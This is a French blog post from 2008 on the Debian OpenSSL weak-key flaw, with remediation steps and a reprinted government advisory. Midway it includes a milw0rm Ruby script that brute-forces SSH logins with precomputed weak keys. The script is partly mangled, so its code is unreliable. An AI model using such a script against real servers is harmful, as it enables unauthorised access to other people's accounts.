lundi 19 mai 2008

Sécurité : Debian sur les rotules : les clés SSH compromises

Une faiblesse dans la création des clés OpenSSH sur les serveurs Linux Debian expose de très nombreux serveurs aux pirates. Il leur suffit en effet de vingt minutes pour casser les clés SSH et prendre possession d'une machine aux sésames vulnérables. La vulnérabilité est, bien entendu, désormais largement exploitée sur Internet.

Administrateurs, si vous exploitez des serveurs Linux Debian accessibles par SSH, votre week-end risque d'être compromis. C'est ça, ou vos serveurs le seront probablement.

Les clés générées par la version Debian d'OpenSSL depuis ces deux dernières années doivent en effet être considérées comme compromises et être changées. Vous hésitez encore ? "Nous avons testé cette attaque. Le temps le plus long pour casser une clé RSA de 2048 bits sur un système vulnérable a été de vingt minutes", prévient Nicolas Collignon, consultant sécurité pour le cabinet d'audit HSC.

Et pour cause : fragilisées par une faiblesse du générateur de nombres aléatoires de l'OpenSSL Debian, les paires de clés RSA de 2048 bits présentent en réalité une robustesse équivalente à... 16 bits ! Et OpenSSL servant à la création de clés utilisées par de nombreux outils de sécurité, dont OpenSSH (mais aussi OpenVPN, Cyrus imap, Courier imap, Dovecot, etc...), la vulnérabilité affecte ainsi tous les sésames générés sur un serveur Debian et sur toute autre distribution qui s'en inspire (Ubuntu ou Xandros par exemple). Selon les premiers observateurs, il pourrait s'agir de la plus importante vulnérabilité qu'ait connu le projet Debian depuis sa création.

Il faut cependant insister sur le fait que seule la version Debian d'OpenSSL (source ou package) est vulnérable. Les administrateurs qui ont pris soin de compiler à partir des sources officielles ne sont pas concernés. En revanche, les clés générées sur Debian et utilisées sur d'autres systèmes seront faillibles.

Une vulnérabilité ancienne et silencieuse

L'importance de cette faille pour Debian se mesure à la liberté qu'elle offre aux pirates : elle permet de retrouver une clé privée à partir de sa clé publique ou de l'empreinte (le fingerprint) qu'annonce le serveur. Et pour ajouter au désespoir des administrateurs, son exploitation est silencieuse. "A moins d'avoir activé le niveau de journalisation d'OpenSSH sur DEBUG, cette attaque ne laisse aucune trace dans les journaux", prévient Nicolas Collignon.

Plus inquiétant encore, le trou est loin d'être récent. Il a été introduit en 2006, date à laquelle un responsable de package Debian a désactivé quelques lignes de code afin de s'éviter des avertissements lors de la compilation d'OpenSSL après avoir corrigé des alertes remontées par un outil automatique d'analyse du code. Mais sa modification, pourtant approuvée, ruinait l'efficacité du générateur de nombres aléatoires, avec les conséquences que l'on connaît.

Il est difficile de dire si cette vulnérabilité a été exploitée durant ses deux ans d'existence. Cependant, à l'occasion d'une série de détournements de serveurs britanniques en début d'année (qui se produisaient à nouveau même une fois les serveurs nettoyés et réinstallés), les experts avaient émis l'hypothèse du vol des clés SSH chez l'hébergeur des victimes. Il serait probablement intéressant de revenir aujourd'hui sur cette affaire afin de vérifier si les serveurs ne sont pas tous sous Linux Debian. Il s'agit, quoi qu'il en soit, de la vulnérabilité rêvée pour tout pirate, et si elle était connue elle devait se monnayer à prix d'or dans un cercle très restreint. Voire, être invendable.

Que faire ? Le guide de survie de l'administrateur Debian

Bien qu'un correctif soit disponible, patcher ne suffira pas : toutes les clés générées sur un système Debian vulnérable doivent l'être à nouveau. Le processus de remédiation conseillé est le suivant :

  • Mettre à jour OpenSSL. Soit à partir du package Debian corrigé, soit à partir des sources officielles.
    Attention : une fois OpenSSL mis à jour via Debian (pas depuis les sources officielles), le serveur refusera la connexion aux clients munis de paires de clés vulnérables (postes de travail sous Ubuntu, autres serveurs Debian, etc..). Il est alors prudent de ne pas se déconnecter, au risque de rester coincé dehors !
  • Re-générer la paire de clés du serveur (cela se fera automatiquement si vous utilisez la solution Debian).
    Une fois les clés du serveur mises à jour, il est nécessaire de mettre à jour le fichier "known_hosts" (à défaut les clients auront au mieux un avertissement à la connexion et au pire ils ne pourront se connecter, en fonction de la configuration de SSH).
  • Vérifier les paires de clés des utilisateurs afin de déterminer si elles sont vulnérables (celles générées sur ce serveur le seront). Pour faciliter la vérification, Debian a publié un script ad-hoc, capable de contrôler les clés du serveur ou des utilisateurs.
  • Re-générer les paires de clés des utilisateurs lorsqu'elles sont vulnérables.

Et pour les malheureux (inconscients) qui auraient déployés une PKI avec un certificat racine généré sous Linux Debian, il sera bien entendu nécessaire de révoquer tous les certificats. Heureusement, les gens sérieux utilisent des boîtiers de génération de clés dédiés pour ce genre de choses, dotés de générateurs de nombres aléatoires particulièrement performants (et onéreux...).

Cette procédure ne fera probablement pas plaisir aux nombreux responsables de serveurs Debian, surtout à la veille d'un week-end. Mais l'urgence est réelle. "Cette vulnérabilité est activement exploitée, et c'est une hécatombe", confirme Nicolas Collignon. Il semblerait que les pirates aient d'ailleurs pris un peu d'avance : peu avant que la faille ne soit rendue publique le SANS Institute s'inquiétait de la recrudescence des scans sur le port 22, alloué à SSH. Depuis, l'organisme a élevé son niveau d'alerte global.

Il est impossible d'estimer le nombre de serveurs compromis de la sorte à l'heure actuelle; mais le bilan sera nécessairement lourd et, surtout, il ne sera pas bouclé avant longtemps. Des vulnérabilités beaucoup moins contraignantes à corriger que celle-ci sont toujours exploitables, notamment sur les serveurs gérés par des "administrateurs du dimanche", dont la connaissance de Linux se limite à payer un serveur dédié d'entrée de gamme pour y héberger un forum ou un serveur privé de jeu en ligne. Espérons que dans leur méconnaissance de l'outil ils n'aient su configurer les connexions SSH par certificats et s'en soient tenus aux bons vieux mots de passe (et bien choisis de préférence !).


Voici une source du brut force trouvée sur Milw0rm :

#!/usr/bin/ruby
#
# Debian SSH Key Tester
# L4teral
#
# This tool helps to find user accounts with weak SSH keys
# that should be regenerated with an unaffected version
# of openssl.
#
# You will need the precalculated keys provided by HD Moore
# See http://metasploit.com/users/hdm/tools/debian-openssl/
# for further information.
#
# Usage:
# debian_openssh_key_test.rb
#

require 'thread'

THREADCOUNT = 10
KEYSPERCONNECT = 3

queue = Queue.new
threads = []
keyfiles = []

host = ARGV.shift or raise "no host given!"
user = ARGV.shift or raise "no user given!"
keysdir = ARGV.shift or raise "no key dir given!"

Dir.new(keysdir).each do |f|
if f =~ /\d+$/ then
keyfiles << totalkeys =" queue.length" currentkey =" 1" keys =" []" f =" File.join(keysdir," passwordauthentication="no">/dev/null"
if $? == 0 then
keys.each do |k|
system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null"
if $? == 0 then
puts "KEYFILE FOUND: \n#{k}"
exit
end
end
end
end
end
end

trap("SIGINT") do
threads.each { |t| t.exit() }
exit
end

threads.each { |t| t.join }

# milw0rm.com [2008-05-16]

Autre source : http://www.securite-informatique.gouv.fr

Défaut du générateur aléatoire de Debian

Une modification malencontreuse du générateur aléatoire de la bibliothèque OpenSSL distribuée par Linux Debian a rendu faibles les clés cryptographiques générées en l’utilisant. Et les conséquences sont nombreuses, y compris pour des utilisateurs qui ne savent même pas ce qu’est Linux.

Les faits

Le 13 mai 2008, une vulnérabilité dans la bibliothèque OpenSSL distribué par Debian était publiée par les auteurs du projet. L’origine de cette vulnérabilité est la suppression, par les développeurs de Debian, d’une partie du code qui produisait des avertissements lors de la compilation.

Cette suppression de code a pour conséquence de ne plus intégrer d’éléments aléatoires lors de la génération des clés, ce qui limite le nombre des possibilités à une valeur très faible. Les clés générées par les systèmes implantant cette version défectueuse peuvent donc être devinées de façon triviale ; en fait elles ont d’ores et déjà été devinées, leur liste est disponible sur internet [3] et tester l’ensemble des clés possibles ne prend que quelques heures.

Ce défaut est présent sur tous les systèmes Linux Debian depuis le 17 septembre 2006 [1]. Un correctif est disponible depuis le 13 mai 2008 [2]. Il est également hérité par les systèmes d’exploitation qui reprennent la librairie OpenSSL de Debian. C’est le cas en particulier des distributions Ubuntu. D’autres produits, qui peuvent utiliser le système Linux Debian de façon embarquée, pourraient s’avérer impactés, sans qu’il soit possible de les identifier facilement.

Les conséquences directes

Les éléments directement affectés par le défaut ci-dessus sont les clés ou les secrets générés par le générateur d’aléa d’OpenSSL d’une distribution Debian postérieure à septembre 2006. En particulier, les clés suivantes sont concernées (liste non exhaustive) :
- les clés SSH ,
- les clés d’OpenVPN,
- les clés DNSSEC,
- les clés et les aléas des certificats X509,
- les clés de session dans SSL/TLS,
- les clés des sessions de connexion sans fil WPA-Enterprise,
- ...

Si un utilisateur utilise une clé faible pour s’authentifier à un serveur, il devient très facile de s’authentifier à sa place et d’accéder à son compte. Si un serveur utilise une clé faible, un attaquant peut monter un serveur pirate et recevoir les connexions des utilisateurs à la place du serveur légitime.

Les sessions SSL chiffrées avec une clé faible peuvent être facilement déchiffrées. Toute communication passée qui a été enregistrée, dont la clé a été générée sur un serveur vulnérable, peut être déchiffrée a posteriori.

Si une infrastructure de gestion de clés a généré ses clés à l’aide d’une distribution impactée, ce sont l’ensemble des clés générées qui sont faibles.

Conséquences indirectes

Le défaut observé est particulièrement dangereux car même des systèmes autres que Debian peuvent être impactés.

Un serveur ne doit pas accepter de clé ou de certificat sans tester son appartenance au groupe des clés faibles. De plus, toutes les clés d’utilisateurs déjà présentes sur le système doivent être vérifiées.

Toute signature de type DSA réalisée sur un système Debian ou apparenté comportant la vulnérabilité a compromis la clé de signature. En effet, pour une signature DSA, le même si la clé d’origine n’était pas faible, elle a été compromise au moment de la signature par l’utilisation d’un mauvais aléa.

Recommandations

Si vous utilisez Linux dans l’une des distributions concernées, outre la mise à jour immédiate de votre système, la vulnérabilité découverte implique également le renouvellement de toutes les clés cryptographiques de votre système. Il est également fortement souhaitable de renouveler ensuite les mots de passe de connexion que vous auriez pu utiliser à travers une session "sécurisée" SSL, par exemple sur votre serveur de banque en ligne.

Si vous n’utilisez pas l’un des systèmes concernés, vous pouvez être impacté de façon indirecte :

  1. Si vous avez acheté une clé auprès d’un fournisseur, ce dernier peut avoir utilisé une distribution vulnérable pour générer votre clé. Le risque est cependant faible, car la plupart des fournisseurs utilisent des matériels cryptographiques dédiés appelés HSM (hardware security module) et qui ne sont pas vulnérables.
  2. Si vous avez utilisé un accès distant sécurisé par un serveur Debian, vos identifiants de connexion peuvent être compromis. Le responsable du site en question va donc vraisemblablement, après mise à jour, vous demander de changer vos identifiants. Ceci peut également concerner les accès WiFi.
  3. Si vous êtes administrateur ou responsable d’un serveur d’accès distant sécurisé, il est très fortement recommandé de mettre en place des dispositifs de détection des clés faibles pour éviter qu’un client utilisateur de Debian compromette ses identifiants d’accès.

    Conclusion

    La vulnérabilité du générateur d’aléa de Debian peut avoir un impact qui dépasse les seuls utilisateurs de ce système d’exploitation. Cette vulnérabilité étant en place depuis septembre 2006, un grand nombre de clés sont potentiellement concernées. L’application des patchs de sécurité n’est pas suffisant. Le renouvellement des clés doit être effectué avec le plus grand soin pour éviter une nouvelle compromission via des serveurs encore non mis à jour.

Les techniciens trouveront le détail des mesures à prendre en consultant le bulletin d’actualité du CERTA du 16 mai 2008


Aucun commentaire: